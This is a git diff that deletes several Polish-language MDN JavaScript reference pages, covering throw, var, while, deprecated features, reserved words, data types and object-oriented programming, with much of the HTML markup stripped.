-   // statements to try
-   var myMonth = 15; // 15 is out of bound to raise the exception
-   var monthName = getMonthName(myMonth);
-} catch (e) {
-   monthName = 'unknown';
-   console.log(e.message, e.name); // pass exception object to err handler
-}
-
- -

Another example of throwing an object

- -

The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type ZipCodeFormatException.

- -
/*
- * Creates a ZipCode object.
- *
- * Accepted formats for a zip code are:
- *    12345
- *    12345-6789
- *    123456789
- *    12345 6789
- *
- * If the argument passed to the ZipCode constructor does not
- * conform to one of these patterns, an exception is thrown.
- */
-
-function ZipCode(zip) {
-   zip = new String(zip);
-   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
-   if (pattern.test(zip)) {
-      // zip code value will be the first match in the string
-      this.value = zip.match(pattern)[0];
-      this.valueOf = function() {
-         return this.value
-      };
-      this.toString = function() {
-         return String(this.value)
-      };
-   } else {
-      throw new ZipCodeFormatException(zip);
-   }
-}
-
-function ZipCodeFormatException(value) {
-   this.value = value;
-   this.message = 'does not conform to the expected format for a zip code';
-   this.toString = function() {
-      return this.value + this.message;
-   };
-}
-
-/*
- * This could be in a script that validates address data
- * for US addresses.
- */
-
-const ZIPCODE_INVALID = -1;
-const ZIPCODE_UNKNOWN_ERROR = -2;
-
-function verifyZipCode(z) {
-   try {
-      z = new ZipCode(z);
-   } catch (e) {
-      if (e instanceof ZipCodeFormatException) {
-         return ZIPCODE_INVALID;
-      } else {
-         return ZIPCODE_UNKNOWN_ERROR;
-      }
-   }
-   return z;
-}
-
-a = verifyZipCode(95060);         // returns 95060
-b = verifyZipCode(9560);          // returns -1
-c = verifyZipCode('a');           // returns -1
-d = verifyZipCode('95060');       // returns 95060
-e = verifyZipCode('95060 1234');  // returns 95060 1234
-
- -

Rethrow an exception

- -

You can use throw to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.

- -
try {
-   throw n; // throws an exception with a numeric value
-} catch (e) {
-   if (e <= 50) {
-      // statements to handle exceptions 1-50
-   } else {
-      // cannot handle this exception, so rethrow
-      throw e;
-   }
-}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}{{Spec2('ESDraft')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.statements.throw")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/polecenia/var/index.html b/files/pl/web/javascript/referencje/polecenia/var/index.html deleted file mode 100644 index aff42bcdac..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/var/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: var -slug: Web/JavaScript/Referencje/Polecenia/var -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/var ---- -

-

-

Podsumowanie

-

Deklaruje zmienną oraz opcjonalnie przypisuje jej wartość początkową. -

- - - - - - - - - - - - -
Instrukcja
Zaimplementowana w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
-

Składnia

-

-var varname1 {{ mediawiki.external('= value1') }}, varname2 {{ mediawiki.external('= value2') }}, ..., varnameN {{ mediawiki.external('= valueN') }}; - -

-

Parametry

-
varnameN 
Nazwa zmiennej. Może być dowolnym, dozwolonym identyfikatorem. -
-
valueN 
Zainicjalizowanie wartości zmiennej. Może być dowolnym, dozwolonym wyrażeniem. -
-

Opis

-

Zasięgiem zmiennej jest aktualna funkcja lub, jeśli zmienna została zadeklarowana poza funkcją, aktualna aplikacja. -

Użycie var poza funkcją jest opcjonalne; przypisanie wartości do niezadeklarowanej zmiennej domyślnie deklaruje ją jako zmienna globalną. Zalecane jest jednak, aby zawsze używać var, ponadto jest to konieczne wewnątrz funkcji w następujących przypadkach: -

- -

Niepowodzenie zadeklarowania zmiennej w tych przypadkach będzie najprawdopodobniej prowadzić do niespodziewanych wyników. -

-

Przykłady

-

Przykład: Zastosowanie var

-

Poniższy przykład deklaruje dwie zmienne, num_hits i cust_no i przypisuje im obu początkową wartość 0. -

-
var num_hits = 0, cust_no = 0;
-
-

Zobacz także

-

const -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/var", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/var", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/var", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/var" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/while/index.html b/files/pl/web/javascript/referencje/polecenia/while/index.html deleted file mode 100644 index 103762fd01..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/while/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: while -slug: Web/JavaScript/Referencje/Polecenia/while -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/while ---- -

-

-

Podsumowanie

-

Tworzy pętlę, która wylicza wyrażenie i, jeśli jest ono prawdą, wykonuje blok poleceń. Wykonywanie pętli powtarza się, póki warunek jest prawdziwy. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
-

Składnia

-
while (warunek) {
-  polecenia
-}
-
-

Parametery

-
warunek 
Wyliczany przed każdym wejściem w blok poleceń. Jeśli warunek jest prawdą, polecenia w bloku są wykonywane. Jeśli nie jest, sterowanie przepływa do pierwszego polecenia za pętlą. -
-
polecenia 
Blok poleceń wykonywanych póki warunek jest spełniony. Dobrą praktyką jest stosowanie w tym miejscu wcięć (indentacji), zwiększających czytelność kodu. -
-

Przykłady

-

Poniższa pętla while wykonuje się dopóki n jest mniejsze niż trzy. -

-
n = 0;
-x = 0;
-while(n < 3) {
-  n ++;
-  x += n;
-}
-
-

Po każdej iteracji pętla zwiększa n i dodaje je do x. Dlatego też x i n przyjmują następujące wartości: -

- -

Po ukończeniu trzeciego przejścia warunek n < 3 nie jest już spełniony, zatem wykonywanie pętli kończy się. -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/while" } ) }} diff --git "a/files/pl/web/javascript/referencje/przestarza\305\202e_w\305\202asno\305\233ci_i_metody/index.html" "b/files/pl/web/javascript/referencje/przestarza\305\202e_w\305\202asno\305\233ci_i_metody/index.html" deleted file mode 100644 index 92c805ac17..0000000000 --- "a/files/pl/web/javascript/referencje/przestarza\305\202e_w\305\202asno\305\233ci_i_metody/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Przestarzałe własności i metody -slug: Web/JavaScript/Referencje/Przestarzałe_własności_i_metody -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features ---- -
{{JsSidebar("More")}}
- -

This page lists features of JavaScript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).

- -

Deprecated features

- -

These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code.

- -

RegExp properties

- -

The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyDescription
{{jsxref("RegExp.n", "$1-$9")}} -

Parenthesized substring matches, if any.
- Warning: Using these properties can result in problems, since browser extensions can modify them. Avoid them!

-
{{jsxref("RegExp.input", "$_")}}See input.
{{jsxref("RegExp.multiline", "$*")}}See multiline.
{{jsxref("RegExp.lastMatch", "$&")}}See lastMatch.
{{jsxref("RegExp.lastParen", "$+")}}See lastParen.
{{jsxref("RegExp.leftContext", "$`")}}See leftContext.
{{jsxref("RegExp.rightContext", "$'")}}See rightContext.
{{jsxref("RegExp.input", "input")}}The string against which a regular expression is matched.
{{jsxref("RegExp.lastMatch", "lastMatch")}}The last matched characters.
{{jsxref("RegExp.lastParen", "lastParen")}}The last parenthesized substring match, if any.
{{jsxref("RegExp.leftContext", "leftContext")}}The substring preceding the most recent match.
{{jsxref("RegExp.rightContext", "rightContext")}}The substring following the most recent match.
- -

The following are now properties of RegExp instances, no longer of the RegExp object:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyDescription
{{jsxref("RegExp.global", "global")}}Whether or not to test the regular expression against all possible matches in a string, or only against the first.
{{jsxref("RegExp.ignoreCase", "ignoreCase")}}Whether or not to ignore case while attempting a match in a string.
{{jsxref("RegExp.lastIndex", "lastIndex")}}The index at which to start the next match.
{{jsxref("RegExp.multiline", "multiline")}}Whether or not to search in strings across multiple lines.
{{jsxref("RegExp.source", "source")}}The text of the pattern.
- -

RegExp methods

- - - -

Function properties

- - - -

Legacy generator

- - - -

Iterator

- - - -

Object methods

- - - -

Date methods

- - - -

Functions

- - - -

Proxy

- - - -

Escape sequences

- - - -

String methods

- - - -

Obsolete features

- -

These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.

- -

Object

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyDescription
{{jsxref("Global_Objects/Object/count", "__count__")}}Returns the number of enumerable properties directly on a user-defined object.
{{jsxref("Global_Objects/Object/Parent", "__parent__")}}Points to an object's context.
{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}Evaluates a string of JavaScript code in the context of the specified object.
{{jsxref("Object.observe()")}}Asynchronously observing the changes to an object.
{{jsxref("Object.unobserve()")}}Remove observers.
{{jsxref("Object.getNotifier()")}}Creates an object that allows to synthetically trigger a change.
- -

Function

- - - - - - - - - - - - -
PropertyDescription
{{jsxref("Global_Objects/Function/arity", "arity")}}Number of formal arguments.
- -

Array

- - - - - - - - - - - - - - - - -
PropertyDescription
{{jsxref("Array.observe()")}}Asynchronously observing changes to Arrays.
{{jsxref("Array.unobserve()")}}Remove observers.
- -

Number

- - - -

ParallelArray

- - - -

Statements

- - - -

E4X

- -

See E4X for more information.

- -

Sharp variables

- -

See Sharp variables in JavaScript for more information.

diff --git "a/files/pl/web/javascript/referencje/s\305\202owa_zarezerwowane/index.html" "b/files/pl/web/javascript/referencje/s\305\202owa_zarezerwowane/index.html" deleted file mode 100644 index 38b693de3a..0000000000 --- "a/files/pl/web/javascript/referencje/s\305\202owa_zarezerwowane/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Słowa zarezerwowane -slug: Web/JavaScript/Referencje/Słowa_zarezerwowane -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords -translation_of_original: Web/JavaScript/Reference/Reserved_Words ---- -

 

-

Słowa zarezerwowane nie mogą być używane jako nazwy zmiennych, funkcji, metod ani obiektów języka JavaScript. Niektóre z nich są słowami kluczowymi języka JavaScript, inne zarezerwowano do przyszłych zastosowań.

- -

 

- -

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words", "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}

diff --git a/files/pl/web/javascript/typy_oraz_struktury_danych/index.html b/files/pl/web/javascript/typy_oraz_struktury_danych/index.html deleted file mode 100644 index d6a2808105..0000000000 --- a/files/pl/web/javascript/typy_oraz_struktury_danych/index.html +++ /dev/null @@ -1,443 +0,0 @@ ---- -title: Typy oraz struktury danych w JavaScript -slug: Web/JavaScript/typy_oraz_struktury_danych -tags: - - JavaScript - - Początkujący - - Typy danych -translation_of: Web/JavaScript/Data_structures ---- -
{{jsSidebar("More")}}
- -
Wszystkie języki programowania posiadają wbudowane struktury danych, mogą one jednak różnic się między poszczególnymi językami. Poniższy artykuł jest próbą stworzenia listy wbudowanych typów oraz struktur danych w JavaScript oraz ich właściwości. Mogą być one użyte do tworzenia innych struktur danych. Tam gdzie jest to możliwe dokonano porównania z innymi językami programowania.
- -

Dynamiczne typowanie

- -

JavaScript jest językiem typowanym dynamicznie. Zmienne w Javascript nie są bezpośrednio powiązane z konkretnym typem wartości i możemy im przypisywać wartości dowolnego typu:

- -
let foo = 42;    // foo jest teraz liczbą (number)
-foo     = 'bar'; // foo jest teraz ciągiem znaków (string)
-foo     = true;  // foo jest teraz type logicznym (boolean)
-
- -

Data and Structure types

- -

Najnowsza wersja standardu ECMAScript definiuje dziewięć typów danych:

- - - -

Keep in mind the only valuable purpose of typeof operator usage is checking the Data Type. If we wish to check any Structural Type derived from Object it is pointless to use typeof for that, as we will always receive "object". The indeed proper way to check what sort of Object we are using an instanceof keyword. But even in that case there might be misconceptions.

- -

Wartości prymitywne

- -

All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "primitive values".

- -

Boolean type

- -

Boolean represents a logical entity and can have two values: true and false. See Boolean and {{jsxref("Boolean")}} for more details.

- -

Null type

- -

The Null type has exactly one value: null. See {{jsxref("null")}} and Null for more details.

- -

Undefined type

- -

A variable that has not been assigned a value has the value undefined. See {{jsxref("undefined")}} and Undefined for more details.

- -

Number type

- -

ECMAScript has two built-in numeric types: Number and BigInt (see below).

- -

The Number type is a double-precision 64-bit binary format IEEE 754 value (numbers between -(253 − 1) and 253 − 1). In addition to representing floating-point numbers, the number type has three symbolic values: +Infinity, -Infinity, and {{jsxref("NaN")}} ("Not a Number").

- -

To check for the largest available value or smallest available value within {{jsxref("Infinity", "±Infinity")}}, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}}.

- -

Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.

- -

The number type has only one integer with two representations: 0 is represented as both -0 and +0. (0 is an alias for +0.) 

- -

In the praxis, this has almost no impact. For example, +0 === -0 is true. However, you are able to notice this when you divide by zero:

- -
> 42 / +0
-Infinity
-> 42 / -0
--Infinity
-
- -

Although a number often represents only its value, JavaScript provides {{jsxref("Operators/Bitwise_Operators", "binary (bitwise) operators")}}.

- -

These bitwise operators can be used to represent several Boolean values within a single number using bit masking. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.

- -

It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.

- -

BigInt type

- -

The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With BigInts, you can safely store and operate on large integers even beyond the safe integer limit for Numbers.

- -

A BigInt is created by appending n to the end of an integer or by calling the constructor.

- -

You can obtain the safest value that can be incremented with Numbers by using the constant {{jsxref("Number.MAX_SAFE_INTEGER")}}. With the introduction of BigInts, you can operate with numbers beyond the {{jsxref("Number.MAX_SAFE_INTEGER")}}.

- -

This example demonstrates, where incrementing the {{jsxref("Number.MAX_SAFE_INTEGER")}} returns the expected result:

- -
> const x = 2n ** 53n;
-9007199254740992n
-> const y = x + 1n;
-9007199254740993n
-
- -

You can use the operators +, *, -, **, and % with BigInts—just like with Numbers. A BigInt is not strictly equal to a Number, but it is loosely so.

- -

A BigInt behaves like a Number in cases where it is converted to Boolean: if, ||, &&, Boolean, !.

- -

BigInts cannot be operated on interchangeably with Numbers. Instead a {{jsxref("TypeError")}} will be thrown.

- -

String type

- -

JavaScript's {{jsxref("String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it.

- -

Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.

- -

However, it is still possible to create another string based on an operation on the original string. For example:

- - - -

Beware of "stringly-typing" your code!

- -

It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:

- - - -

With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.

- -

Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.

- -

Symbol type

- -

Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a unique and immutable primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".

- -

For more details see Symbol and the {{jsxref("Symbol")}} object wrapper in JavaScript.

- -

Obiekty

- -

In computer science, an object is a value in memory which is possibly referenced by an identifier.

- -

Properties

- -

In JavaScript, objects can be seen as a collection of properties. With the object literal syntax, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.

- -

There are two types of object properties which have certain attributes: The data property and the accessor property.

- -

Data property

- -

Associates a key with a value, and has the following attributes:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attributes of a data property
AttributeTypeDescriptionDefault value
[[Value]]Any JavaScript typeThe value retrieved by a get access of the property.undefined
[[Writable]]BooleanIf false, the property's [[Value]] cannot be changed.false
[[Enumerable]]Boolean -

If true, the property will be enumerated in for...in loops.
- See also Enumerability and ownership of properties.

-
false
[[Configurable]]BooleanIf false, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[Value]] and [[Writable]] cannot be changed.false
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)
AttributeTypeDescription
Read-onlyBooleanReversed state of the ES5 [[Writable]] attribute.
DontEnumBooleanReversed state of the ES5 [[Enumerable]] attribute.
DontDeleteBooleanReversed state of the ES5 [[Configurable]] attribute.
- -

Accessor property

- -

Associates a key with one of two accessor functions (get and set) to retrieve or store a value, and has the following attributes:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attributes of an accessor property
AttributeTypeDescriptionDefault value
[[Get]]Function object or undefinedThe function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed.
- See also get.
undefined
[[Set]]Function object or undefinedThe function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.
- See also set.
undefined
[[Enumerable]]BooleanIf true, the property will be enumerated in for...in loops.false
[[Configurable]]BooleanIf false, the property can't be deleted and can't be changed to a data property.false
- -
-

Note: Attribute is usually used by JavaScript engine, so you can't directly access it (see more about {{jsxref("Object.defineProperty()")}}). That's why the attribute is put in double square brackets instead of single.

-
- -

"Normal" objects, and functions

- -

A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s), and values can be anything. This makes objects a natural fit for hashmaps.

- -

Functions are regular objects with the additional capability of being callable.

- -

Dates

- -

When representing dates, the best choice is to use the built-in Date utility in JavaScript.

- -

Indexed collections: Arrays and typed Arrays

- -

Arrays are regular objects for which there is a particular relationship between integer-key-ed properties and the length property.

- -

Additionally, arrays inherit from Array.prototype, which provides to them a handful of convenient methods to manipulate arrays. For example, indexOf (searching a value in the array) or push (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.

- -

Typed Arrays are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TypeValue RangeSize in bytesDescriptionWeb IDL typeEquivalent C type
{{jsxref("Int8Array")}}-128 to 12718-bit two's complement signed integerbyteint8_t
{{jsxref("Uint8Array")}}0 to 25518-bit unsigned integeroctetuint8_t
{{jsxref("Uint8ClampedArray")}}0 to 25518-bit unsigned integer (clamped)octetuint8_t
{{jsxref("Int16Array")}}-32768 to 32767216-bit two's complement signed integershortint16_t
{{jsxref("Uint16Array")}}0 to 65535216-bit unsigned integerunsigned shortuint16_t
{{jsxref("Int32Array")}}-2147483648 to 2147483647432-bit two's complement signed integerlongint32_t
{{jsxref("Uint32Array")}}0 to 4294967295432-bit unsigned integerunsigned longuint32_t
{{jsxref("Float32Array")}}1.2×10-38 to 3.4×1038432-bit IEEE floating point number (7 significant digits e.g., 1.1234567)unrestricted floatfloat
{{jsxref("Float64Array")}}5.0×10-324 to 1.8×10308864-bit IEEE floating point number (16 significant digits e.g., 1.123...15)unrestricted doubledouble
{{jsxref("BigInt64Array")}}-263 to 263-1864-bit two's complement signed integerbigintint64_t (signed long long)
{{jsxref("BigUint64Array")}}0 to 264-1864-bit unsigned integerbigintuint64_t (unsigned long long)
- -

Keyed collections: Maps, Sets, WeakMaps, WeakSets

- -

These data structures, introduced in ECMAScript Edition 6, take object references as keys. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object.

- -

The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.

- -

One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of < "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.

- -

Usually, to bind data to a DOM node, one could set properties directly on the object, or use data-* attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.

- -

Structured data: JSON

- -

JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.

- -

See JSON and {{jsxref("JSON")}} for more details.

- -

More objects in the standard library

- -

JavaScript has a standard library of built-in objects.

- -

Please have a look at the reference to find out about more objects.

- -

Określanie typu za pomocą operatora typeof

- -

Operator typeof może być pomocny przy określeniu typu twojej zmiennej.

- -

Więcej szczegółów znajdziecie na stronie poświęconej operatorowi typeof.

- -

Specifications

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}
- -

See also

- - diff --git a/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html b/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html deleted file mode 100644 index cb26414814..0000000000 --- a/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html +++ /dev/null @@ -1,342 +0,0 @@ ---- -title: Wprowadzenie do programowania obiektowego w języku JavaScript -slug: Web/JavaScript/Wprowadzenie_do_programowania_obiektowego_w_jezyku_JavaScript -translation_of: Learn/JavaScript/Objects -translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---- -

JavaScript jest zorientowany obiektowo do szpiku kości dzięki potężnym, elastycznym możliwościom realizacji OOP. Ten artykuł zawiera wprowadzenie do programowania obiektowego (ogółem), analizuje model obiektowy w JavaScript i w końcu demonstruje aspekty programowania obiektowego w JavaScript.

- -

Przegląd JavaScript

- -

Jeśli nie czujesz się pewnie w zagadnieniach dotyczących JavaScript takich, jak zmienne, typy, funkcje oraz zasięg, możesz przeczytać o nich w Ponownym wprowadzeniu do JavaScript (angielski). Możesz także zasięgnąć wiedzy zawartej w Core JavaScript 1.5 Guide.

- -

Programowanie zorientowane obiektowo

- -

Programowanie zorientowane obiektowo jest paradygmatem programowania, który korzysta z abstrakcji do tworzenia modeli opartych na świecie rzeczywistym. Stosuje on kilka technik z poprzednio ustanowionych paradygmatów, np. modułowość, polimorfizm czy enkapsulację. Obecnie wiele popularnych języków programowania (takich, jak Java, JavaScript, C#, C++, Python, PHP, Ruby i Objective-C) wspierają programowanie zorientowane obiektowo (OOP - z ang. "object-oriented programming").

- -

Programowanie zorientowane obiektowo może być rozumiane jako sposób projektowania oprogramowania stosujący kolekcję powiązanych ze sobą obiektów, w przeciwieństwie do tradycyjnego punktu widzenia, gdzie program może być rozumiany jako zestaw funkcji lub, po prostu, jako lista instrukcji przekazywanych do komputera. W OOP każdy obiekt jest zdolny odbierać wiadomości, przetwarzać dane i wysyłać wiadomości do innych obiektów. Każdy obiekt może być rozumiany jako niezależna mała maszyna pełniąca odrębną rolę lub odpowiedzialność.

- -

Programowanie obiektowe ma na celu promować większą elastyczność i łatwość rozwoju w programowaniu. Jest ono bardzo popularne przy tworzeniu oprogramowania na dużą skalę. Dzięki silnemu naciskowi na modułowość, kod programu zorientowany obiektowo jest łatwiejszy do napisania i późniejszego zrozumienia, stając się łatwiejszym do bezpośredniej analizy, kodowania i rozumienia złożonych sytuacji i procedur niż mniej modułowe metody programowania.2

- -

Terminologia

- -
-
Przestrzeń nazw (ang. "namespace")
-
Przestrzeń pozwalająca programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji.
-
Klasa (ang. "class")
-
Definiuje własności obiektu.
-
Obiekt (ang. "object")
-
Instancja (byt, twór) klasy.
-
Właściwość (ang. "property")
-
Własność obiektu, np. kolor.
-
Metoda (ang. "method")
-
Zdolność (czynność) obiektu, np. chodzenie (idź).
-
Konstruktor (ang. "constructor")
-
Metoda wywoływana w momencie inicjalizacji obiektu.
-
Dziedziczenie (ang. "inheritance")
-
Klasa może dziedziczyć własności od innej klasy.
-
Hermetyzacja (lub enkapsulacja - ang. "encapsulation")
-
Klasa definiuje tylko własności obiektu, podczas gdy metoda definiuje tylko sposób realizacji.
-
Abstrakcja (ang. "abstraction")
-
Koniunkcja złożonego dziedziczenia, metod, właściwości obiektu musi dobrze oddawać model rzeczywistości.
-
Polimorfizm (ang. "polymorphism")
-
Poli znaczy "wiele", a morfizm oznacza "formy". Różne klasy mogą definiować takie same metody albo właściwości.
-
- -

Bardziej obszerną definicję programowania obiektowego można znaleźć w Programowaniu obiektowym na Wikipedii.

- -

Programowanie oparte na prototypie

- -

Programowanie prototypowe jest stylem programowania obiektowego, w którym klasy nie są obecne, a ponowne wykorzystanie zachowań (w językach opartych na klasach znane jako dziedziczenie) jest realizowane przez proces dekoracji istniejących obiektów, które służą jako prototypy. Ten model jest znany również jako programowanie "bezklasowe", "zorientowane prototypowo" lub "oparte na instancji".

- -

Oryginalnym (i najbardziej kanonicznym) przykładem języka opartego na prototypie jest język programowaina Self stworzony przez Davida Ungara i Randalla Smitha. Niemniej jednak, programowanie w stylu bezklasowym stało się ostatnimi czasy bardzo popularne i zostało zaimplementowane w takich językach, jak Javascript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (podczas używania frameworka Viewer do manipulacji komponentami Morphic) i kilku innych.2

- -

OOP w języku JavaScript

- -

Przestrzeń nazw

- -

Przestrzeń nazw jest pojemnikiem pozwalającym programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji. W JavaScript przestrzeń nazw jest po prostu obiektem przechowującym metody, właściwości i inne obiekty. Cel przyświecający przestrzeniom nazw w JavaScript jest prosty: utworzony zostaje jeden globalny obiekt, a wszystkie zmienne, metody i funkcje stają się właściwościami tego obiektu. Użycie przestrzeni nazw zmniejsza również ryzyko kolizji nazw w aplikacji.

- -

Obiekt jest przestrzenią nazw:
-
- Stwórzmy globalny obiekt o nazwie MYAPP

- -
// globalna przestrzeń nazw
-var MYAPP = MYAPP || {};
- -

W powyższym przykładzie najpierw sprawdzamy czy MYAPP jest już zdefiniowany w tym samym lub innym pliku. Jeśli tak, używamy istniejącego globalnego obiektu MYAPP. W przeciwnym razie tworzymy pusty obiekt MYAPP, który zenkapsuluje metody, funkcje, zmienne i obiekty.

- -

Możemy również utworzyć podrzędną przestrzeń nazw:

- -
// pod-przestrzeń nazw
-MYAPP.event = {};
- -

Poniżej znajduje się kod tworzący przestrzeń nazw i dodający zmienne, funkcje i metody:

- -
// Utwórz pojemnik MYAPP.commonMethod na typowe metody i właściwości
-MYAPP.commonMethod = {
-  regExForName: "", // zdefiniuj wyrażenie regularne do walidacji nazwiska
-  regExForPhone: "", // zdefiniuj wyrażenie regularne do walidacji numeru telefonu
-  validateName: function(name){
-    // Zrób coś z nazwiskiem. Możesz użyć zmiennej regExForName
-    // użycie "this.regExForName"
-  },
-
-  validatePhoneNo: function(phoneNo){
-    // zrób coś z numerem telefonu
-  }
-}
-
-// Obiekt razem z deklaracją metod
-MYAPP.event = {
-    addListener: function(el, type, fn) {
-    // jakiś kod
-    },
-   removeListener: function(el, type, fn) {
-    // jakiś kod
-   },
-   getEvent: function(e) {
-   // jakiś kod
-   }
-
-   // Można dodać kolejne metody i właściwości
-}
-
-// Składnia do użycia metody AddListener:
-MYAPP.event.addListener("yourel", "type", callback);
- -

Obiekty wbudowane

- -

